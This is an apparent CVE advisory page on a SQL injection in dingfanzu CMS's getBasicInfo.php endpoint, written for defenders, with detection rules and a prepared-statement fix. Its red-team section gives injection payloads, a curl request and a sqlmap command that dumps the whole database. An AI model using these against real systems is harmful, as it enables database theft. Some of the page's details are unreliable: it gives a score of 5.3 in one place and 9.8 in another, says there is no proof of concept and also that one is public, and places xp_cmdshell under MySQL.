☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-8303

CVE-2024-8303 SQL Injection in Dingfanzu
📅 PUBLISHED: 2024-08-29 14:31 UTC 🔄 UPDATED: 2026-09-23 20:31 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.40%
👁️
0.40% probability
10.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-8303 is a critical unauthenticated SQL injection vulnerability in the dingfanzu CMS, specifically within the /ajax/getBasicInfo.php endpoint. The vulnerability allows remote attackers to manipulate the username parameter to execute arbitrary SQL commands, potentially leading to full database compromise, data exfiltration, and further system exploitation. The vendor has not responded to disclosure attempts, and no official patch exists. The exploit has been publicly disclosed, increasing the risk of widespread attacks.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a custom PHP application (dingfanzu CMS) with no versioning system. The risk is primarily to organizations that have deployed this CMS directly.

CVSS Breakdown & Threat Level

  • CVSS Score: 9.8 (Critical)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High

Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and has a public proof-of-concept. The lack of a patch makes every instance of dingfanzu CMS a potential target.

Deep Dive & Mechanics

The vulnerability resides in the /ajax/getBasicInfo.php file. This endpoint is designed to retrieve basic user information based on a provided username. The application fails to sanitize or parameterize the username input before incorporating it into a SQL query.

Vulnerable Code Snippet (Conceptual):

<?php
$username = $_GET['username'];
$query = "SELECT * FROM users WHERE username = '$username'";
$result = mysqli_query($conn, $query);
?>

An attacker can inject SQL commands by providing a malicious username value. For example:

username=' OR '1'='1

This would result in the query:

SELECT * FROM users WHERE username = '' OR '1'='1'

This returns all rows from the users table, bypassing authentication and potentially exposing sensitive data.

Impact:

  • Data Exfiltration: Attackers can extract all data from the database, including user credentials, personal information, and application secrets.
  • Authentication Bypass: By manipulating the query, an attacker can log in as any user without knowing their password.
  • Remote Code Execution (RCE): In some configurations, SQL injection can be escalated to RCE via INTO OUTFILE or xp_cmdshell (if MySQL and PHP are configured permissively).
  • Full System Compromise: The attacker may gain a foothold on the web server, leading to lateral movement within the network.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<?php
$username = $_GET['username'];
$query = "SELECT * FROM users WHERE username = '$username'";
$result = mysqli_query($conn, $query);
?>

Patched Code (Conceptual):

<?php
$username = $_GET['username'];
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ?");
$stmt->bind_param("s", $username);
$stmt->execute();
$result = $stmt->get_result();
?>

The patched version uses prepared statements with parameterized queries, which prevents SQL injection by separating SQL logic from user input. Since no official patch exists, this is the recommended fix for developers.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A target running dingfanzu CMS with the vulnerable endpoint.
  • A tool like sqlmap or curl.

Manual Exploitation:

  1. Basic Injection:

    curl "http://target.com/ajax/getBasicInfo.php?username=' OR '1'='1"
    

    This will likely return all user records.

  2. Extracting Data (using sqlmap):

    sqlmap -u "http://target.com/ajax/getBasicInfo.php?username=test" --batch --dump
    

    sqlmap will automatically detect the injection point and extract the entire database.

  3. Authentication Bypass: If the application uses the query result for authentication, an attacker can inject:

    username=admin'--
    

    This comments out the rest of the query, potentially logging in as admin.

Lab Setup:

  • Deploy a vulnerable instance of dingfanzu CMS (commit 29d67d9044f6f93378e6eb6ff92272217ff7225c).
  • Use a local web server (e.g., XAMPP, LAMP) with MySQL.
  • Access the /ajax/getBasicInfo.php endpoint.

Blue Team (Defensive)

Detection:

  • Monitor web server logs for suspicious username parameters containing SQL keywords (OR, AND, UNION, SELECT, --, #).
  • Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
  • Use the detection rules provided in the next section.

Mitigation:

  • Immediate: If possible, take the application offline or restrict access to the /ajax/ directory via .htaccess or firewall rules.
  • Code Fix: Implement prepared statements as shown in the patched code section.
  • Input Validation: Whitelist allowed characters for the username parameter (e.g., alphanumeric only).
  • Least Privilege: Ensure the database user used by the application has minimal privileges (e.g., no FILE privilege).

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP requests to /ajax/getBasicInfo.php with unusual username parameters.
  • Requests containing SQL keywords in the query string (e.g., OR, AND, UNION, SELECT, FROM, WHERE).
  • Outbound database connections from the web server to unexpected IPs (data exfiltration).

File System IOCs:

  • Unexpected files in the web root (e.g., webshells like cmd.php, shell.php).
  • Modified .htaccess files.
  • New database dump files (e.g., dump.sql).

Log IOCs:

  • Web server logs showing repeated requests to /ajax/getBasicInfo.php with varying username values.
  • Database logs showing unusual queries (e.g., SELECT * FROM users).

Detection Engineering

YARA Rule

rule CVE_2024_8303_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-8303 in dingfanzu CMS"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-8303"
    strings:
        $suspicious_param = /username=.*(?:OR|AND|UNION|SELECT|FROM|WHERE|--|#|%27|%22)/i
        $target_path = "/ajax/getBasicInfo.php"
    condition:
        $target_path and $suspicious_param
}

Sigma Rule

title: CVE-2024-8303 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against dingfanzu CMS /ajax/getBasicInfo.php
author: Valters IT
date: 2024/10/27
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/ajax/getBasicInfo.php'
        cs-uri-query|re: '(?i)(username=.*(?:OR|AND|UNION|SELECT|FROM|WHERE|--|#))'
    condition: selection
falsepositives:
    - Legitimate usernames containing substrings like "or" or "and" (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-8303 SQL Injection Attempt"; flow:to_server,established; content:"/ajax/getBasicInfo.php"; http_uri; pcre:"/username=.*(?:OR|AND|UNION|SELECT|FROM|WHERE|--|#)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate: If possible, disconnect the affected server from the network until a fix is applied.
  2. WAF Rules: Deploy a Web Application Firewall with rules to block SQL injection patterns targeting /ajax/getBasicInfo.php.
  3. Access Control: Restrict access to the /ajax/ directory using IP whitelisting or .htaccess:
    <Directory "/var/www/html/ajax">
        Require ip 192.168.1.0/24
    </Directory>
    

Long-Term Fix:

  1. Code Remediation: Replace all dynamic SQL queries with prepared statements (parameterized queries) in the entire codebase.
  2. Input Validation: Implement strict input validation for all user-supplied data.
  3. Update: Monitor the vendor's repository for any future patches. If none appear, consider migrating to a supported CMS.

Compromise Assessment:

  • Check web server logs for exploitation attempts.
  • Scan the database for unauthorized changes or new user accounts.
  • Review file integrity for any new or modified files.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-8303/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.